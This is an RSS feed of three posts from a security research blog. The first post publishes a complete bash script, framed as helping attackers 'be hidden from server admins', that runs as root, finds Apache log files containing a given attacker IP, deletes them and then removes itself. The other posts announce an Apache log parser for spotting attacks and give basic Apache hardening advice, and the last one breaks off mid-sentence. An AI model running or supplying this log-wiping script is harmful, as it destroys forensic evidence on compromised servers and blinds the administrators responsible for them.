<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abysssec Security Researches &#187; amiri</title>
	<atom:link href="http://www.abysssec.com/blog/author/amiri/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing</description>
	<lastBuildDate>Fri, 14 May 2010 19:22:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>Hidden Attack with clear log files in Unix , linux</title>
		<link>http://www.abysssec.com/blog/2009/01/hidden_attack_with_clear_log_file/</link>
		<comments>http://www.abysssec.com/blog/2009/01/hidden_attack_with_clear_log_file/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 14:37:14 +0000</pubDate>
		<dc:creator>amiri</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[log]]></category>
		<category><![CDATA[safe]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=265</guid>
		<description><![CDATA[Hey ! I&#8217;m back  some exams of university :D and &#8230;. Here is bash script for finding path of log files (Apache first and soon : all Logs) and deleting them for some attackers to be hidden from server admins !.Not bad ? Not good ? Where u use that !?. At first we find [...]]]></description>
			<content:encoded><![CDATA[<p>Hey ! I&#8217;m back   some exams of university :D and &#8230;.</p>
<p>Here is bash script for finding path of log files (Apache first and soon : all Logs) and deleting them for some attackers to be hidden from server admins !.Not bad ? Not good ? Where u use that !?.</p>
<p>At first we find path of directory contain some wanted logs and then searching line by line for log paths,finally founding attacker Ip in log files and removing log file. Be happy !</p>
<p>TEsTed On Debian etch4.0 and FreeBSD 6*</p>
<p>This is Rc 1. [download] : <a href="http://abysssec.com/files/apache-log-remover.txt">Log_f</a></p>
<p>and here is source code in bash :</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/local/bin/bash</span>
<span style="color: #666666; font-style: italic;">### coded by t4z3v4r3d</span>
<span style="color: #666666; font-style: italic;">### recurse function : i m not sure who has write that .So thanks unknown man</span>
<span style="color: #666666; font-style: italic;">### made for FreeBSD First ....</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`id -u`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;$0 cant run as <span style="color: #007800;">$USER</span> Please Give me the root perms!!!!! &quot;</span>
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #007800;">patern</span>=$<span style="color: #000000;">2</span>
<span style="color: #007800;">fl</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>f.txt
<span style="color: #007800;">fd</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>find.txt
<span style="color: #007800;">length</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>l-f.txt
<span style="color: #007800;">log_f</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>log_f.txt
<span style="color: #007800;">log_final</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>final_log.txt
<span style="color: #007800;">null</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
<span style="color: #007800;">log_path</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>log_Found_.txt
<span style="color: #007800;">tm</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`date | cut -d &quot;:&quot; -f 1`</span>&quot;</span>
<span style="color: #007800;">os</span>=<span style="color: #007800;">$OSTYPE</span>
<span style="color: #666666; font-style: italic;"># you can add all paths for all os type !M$ windows IS NOT OS ....Exactly!</span>
<span style="color: #000000; font-weight: bold;">case</span> <span style="color: #007800;">$os</span> <span style="color: #000000; font-weight: bold;">in</span>
Linux<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
linux<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
freebsd<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">esac</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fl</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$fl</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fd</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$fd</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_f</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_f</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_final</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_final</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_path</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_path</span>
<span style="color: #c20cb9; font-weight: bold;">clear</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Enter attacker IP&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> <span style="color: #660033;">-e</span> ip
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`find $path -name apache &amp;gt;&amp;gt; $fl`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[3;2f Main path Found ....\033[0;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">else</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`find $path -name apache2 &amp;gt;&amp;gt; $fl`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
		<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Founded Apache2 Config files&quot;</span>
	<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">fi</span> 
&nbsp;
recurse <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #000000; font-weight: bold;">for</span> <span style="color: #c20cb9; font-weight: bold;">file</span> <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">ls</span> $<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">do</span> <span style="color: #007800;">fqfn</span>=$<span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$file</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-d</span> <span style="color: #007800;">$fqfn</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; recurse <span style="color: #007800;">$fqfn</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #800000;">${#file}</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$len</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #7a0874; font-weight: bold;">&#123;</span> <span style="color: #007800;">len</span>=<span style="color: #800000;">${#file}</span> <span style="color: #007800;">name</span>=<span style="color: #007800;">$fqfn</span>; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$fqfn</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; recurse <span style="color: #007800;">$fqfn</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #800000;">${#file}</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$len</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #7a0874; font-weight: bold;">&#123;</span> <span style="color: #007800;">len</span>=<span style="color: #800000;">${#file}</span> <span style="color: #007800;">name</span>=<span style="color: #007800;">$fqfn</span>; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#########################################################</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> $<span style="color: #000000;">1</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;f=f+1&quot;</span>
	<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`ls $1 | grep -F .conf`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;t=t+1&quot;</span>
	<span style="color: #c20cb9; font-weight: bold;">cat</span> $<span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-F</span> .log <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-v</span> <span style="color: #ff0000;">&quot;#&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">&quot; &quot;</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">2</span>  <span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #007800;">$log_path</span>
	nom<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #007800;">$t</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`cat $1 | grep -F .log | grep -v &quot;#&quot; | wc -l`</span>&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;reading $1<span style="color: #000099; font-weight: bold;">\n</span> <span style="color: #780078;">`cat $1 | grep -F .log | grep -v &quot;#&quot;`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>r.txt
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;nt=nt+<span style="color: #007800;">${nom[$t]}</span>&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;j=<span style="color: #007800;">$nt</span>+<span style="color: #007800;">$t</span>&quot;</span>
	<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #666666; font-style: italic;">################################################################################</span>
<span style="color: #666666; font-style: italic;">### MOnitoring all acts</span>
<span style="color: #666666; font-style: italic;">################################################################################</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[3;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m Scanned Files  :\033[4;25f \033[1;37m<span style="color: #007800;">$f</span>\033[1;39m\033[4;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m Path(s) found  :\033[5;25f \033[1;37m<span style="color: #007800;">$l</span>\033[1;39m\033[5;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m pattern found  :\033[6;25f \033[1;37m<span style="color: #007800;">$t</span>\033[1;39m\033[6;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m pattern total  :\033[7;25f \033[1;37m<span style="color: #007800;">$j</span>\033[1;39m\033[7;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;30m\033[8;2f Scanning <span style="color: #780078;">`dirname ${1}`</span>:::\033[1;39m\033[8;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[9;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m&quot;</span>
<span style="color: #666666; font-style: italic;">##############################################################################</span>
<span style="color: #000000; font-weight: bold;">done</span> ; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
reader<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$fl</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> line ;<span style="color: #000000; font-weight: bold;">do</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`ls $line | grep .conf`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	recurse <span style="color: #007800;">$line</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;l=l+1&quot;</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
reader
&nbsp;
log_path_reader<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$log_path</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> line ;<span style="color: #000000; font-weight: bold;">do</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$line</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`cat $line | grep &quot;$ip&quot;`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-en</span> <span style="color: #ff0000;">&quot;\033[1;30mFounded[\033[1;31m&quot;</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$line</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-c</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$ip</span>&quot;</span><span style="color: #000000; font-weight: bold;">`</span><span style="color: #ff0000;">&quot;	\033[1;30m] <span style="color: #007800;">$ip</span> in	&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;Removing <span style="color: #007800;">$line</span>&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$line</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$line</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m	... Done !\033[0;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">else</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;31m	...Failed!\033[1;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">else</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;30mFile [\033[1;31m&quot;</span><span style="color: #007800;">$line</span>    <span style="color: #ff0000;">&quot;\033[1;39mFile Dose not exist......\033[1;30m]&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;l2=l2+1&quot;</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[8;3f\033[1;31mpath= <span style="color: #007800;">$path</span> OS= <span style="color: #007800;">$os</span>\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[11;1f\033[1;30mScanning DONE!! NOW : Removing Log Files\033[0;0m&quot;</span>
&nbsp;
log_path_reader
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-en</span> <span style="color: #ff0000;">&quot;\033[1;30mRemoving 				   $0	&quot;</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fl</span> <span style="color: #007800;">$log_path</span> $<span style="color: #000000;">0</span>
&nbsp;
 <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-f</span>  $<span style="color: #000000;">0</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
 	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m	... Done !\033[0;0m&quot;</span>
 <span style="color: #000000; font-weight: bold;">else</span>
 	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;31m	...Failed!\033[1;0m&quot;</span>
 <span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;37m Mail: amiri@abysssec.com\033[0;0m&quot;</span></pre></div></div>

<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>daphne  :</p>
<p>Hi readers .</p>
<p>Thanks from mr.Amiri .</p>
<p>when we&#8217;re talking about the secret or hidden in server , Log files in unix , linux server , recorded everything . this script is usefull for [white hacker ] and manager to clear major log files .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/hidden_attack_with_clear_log_file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apache log parser script</title>
		<link>http://www.abysssec.com/blog/2008/12/apache-log-parser-script/</link>
		<comments>http://www.abysssec.com/blog/2008/12/apache-log-parser-script/#comments</comments>
		<pubDate>Sat, 06 Dec 2008 13:12:17 +0000</pubDate>
		<dc:creator>amiri</dc:creator>
				<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=162</guid>
		<description><![CDATA[Hello viewers For long time I was looking for some codes for monitoring APACHE&#8217;s log to detection some attacks and /or some     errors that can help server administrators to have a security solution for web servers. So is so simple to find but its so dirty :d. In  first stage script checks number of [...]]]></description>
			<content:encoded><![CDATA[<p><em>Hello viewers<br />
For long time I was looking for some codes for monitoring APACHE&#8217;s log<br />
to detection some attacks and /or some     errors that can help server administrators to have a security solution for web servers.</em></p>
<p><em>So is so simple to find but its so dirty :d.<br />
In  first stage script checks number of signatures of some of public attacks , you can change or/and edit them. After calculating errors script shows to you alarm or attention or &#8230;. messages and  here you decide  to what to want&#8230;<br />
And at last total summary of logs with details was saved on path&#8230;.<br />
I want to write a better code as soon as possible ;)</em></p>
<p>here is quick log check&#8217;s snapshot</p>
<p><a href="http://i37.tinypic.com/212g26x.png"><img class="alignnone" title="qucik-check" src="http://i37.tinypic.com/212g26x.png" alt="" width="366" height="311" /></a></p>
<p>and check details</p>
<p><a href="http://i37.tinypic.com/2hx4x6p.png"><img class="alignnone" title="full-detailes" src="http://i37.tinypic.com/2hx4x6p.png" alt="" width="333" height="249" /></a></p>
<p>Last code was so slow !! and heavy .Here is fastest than beta-1 code .<br />
I was check a log file ~ 150MB and getting results in 5 min.<br />
It has been fastest as soon as possible ;) thanks.</p>
<p>Download Source code (beta 2 &#8211; cleaned code ! optimized &#8211; ):</p>
<p><a href="http://abysssec.com/files/log-final.txt">download : log parser</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/12/apache-log-parser-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is your Apache in safe mode ?</title>
		<link>http://www.abysssec.com/blog/2008/10/is-your-apache-in-safe-mode/</link>
		<comments>http://www.abysssec.com/blog/2008/10/is-your-apache-in-safe-mode/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 15:56:41 +0000</pubDate>
		<dc:creator>amiri</dc:creator>
				<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://secure-developer.com/blog/?p=13</guid>
		<description><![CDATA[This Post is a bit review to Apache security and not contain all details but i want write all of them. When you decide to build a web server based on Open source Os for all web publishing -public or private- all the futures not needed . But sometimes some of them mus tow change [...]]]></description>
			<content:encoded><![CDATA[<p><em>This Post is a bit review to Apache security and not contain all details but i want write all of them.</em></p>
<p>When you decide to build a web server based on Open source Os for all web publishing  -public or private- all the futures not needed . But sometimes some of them mus tow change carefully. We have to case of Apache using here :</p>
<p>Case 1 : In some cases you need to build a simulated ftp server based on HTTP protocol.</p>
<p>Case 2 : You need to build a MAIL server with HTTP interface. Such as HORD or SQURRIER MAIL.</p>
<p>SO what changes needed ?what kind of futures are usable here for Your jobs ?.</p>
<p>In default installation of Apache -as so useful web server &#8211; in a big range of open source operating systems you may see auto indexing and directory browsing , its good for HTTP server as FTP server but is it usable as HTTP-mail server ? Of curse response  is NO .Why ? Its so simple .In case 1 you just need to give the  permission to your users for reading files and browsing directories JUST!.And denied them to reading or browsing other directories . In case 2 the server design may have a complete configuration with case 1 .Here You must use an interpreter for your scripts and  language .So is your directory browsing options may not denied is it possible ?.In example an attacker can change his directory to upper or can see  most important data such as web server configurations and &#8211; or &#8211; some log files or a high level script kiddie could copy you password to anywhere .Now your web server is really crackable and an attacker can read your configurations and may change THEM !!. What did you do ? its so good question .</p>
<p>1- You can change permission of all unneeded directories to deny for other users and groups like :</p>
<p>&#8220;[root@server] # chmod -R 700 some directory that you want to hidden from other &#8221;</p>
<p>2- Change the permission of your files to only readable for www and not executable &#8211; if you want to use HTML pages &#8211; and for script based pages</p>
<p>do &#8220;[root@server]# 644  *.php or other scripts<br />
3- If your server pages is PHP  you can change a bit the php.ini file</p>
<p>its in my machine :</p>
<blockquote><p><strong>[root@t4yt4n1 /usr/home/t4z3v4r3d]# cat /usr/local/etc/php.ini | grep basedir<br />
; open_basedir, if set, limits all file operations to the defined directory<br />
open_basedir = /usr/local/www<br />
[root@t4yt4n1 /usr/home/t4z3v4r3d]#</strong><br />
open_basedir = /usr/local/www to the your  www directory this is he way of blocking of some php-shell  scripts lik c99.php.</p></blockquote>
<div id="attachment_27" class="wp-caption alignnone" style="width: 310px"><a href="http://secure-developer.com/blog/wp-content/uploads/2008/10/snapshot36.png"><img class="size-medium wp-image-27" title="snapshot36" src="http://secure-developer.com/blog/wp-content/uploads/2008/10/snapshot36-300x225.png" alt="what the php shells cand do ?" width="300" height="225" /></a><p class="wp-caption-text">what the php shells cand do ?</p></div>
<p>Hi this is 2&#8242;nd part of Apache security .<br />
We want to look how to safe all of our scripts when we have some sites.<br />
In share servers &#8211; commercial servers &#8211; we can secure our serer by some applications such as Cpanel Plesk or etc.<br />
But how can we secure it by hand ?.Of curse its not so simple but its not hard to do.<br />
Ok lets to see what we can do ?.Let look to this how to from an attacker.<br />
Any of attacker want to get some information to doing a successful attack to any server.<br />
But what is information exactly ?yes any information its correct !,all information may help the attacker to entering in to your server .<br />
What kind of web server , web server version , Os version and type,mod &#8216;s of your web server is running  , server admin&#8217;s mail , dns-server , and &#8230;. is a good information to starting an attack.</p>
<p>some of the information can&#8217;t be hidden but some of may hidden !!!.<br />
Ok we can change our server&#8217;s operating system name , web server name and type and version by some tools and mods &#8211; soon &#8211; .</p>
<p>All attacks methods are depend  to security of your server .</p>
<p>Ok we have some changes in our apache configuration.<br />
But is it enough?. At the same way :what is the set of security settings for<br />
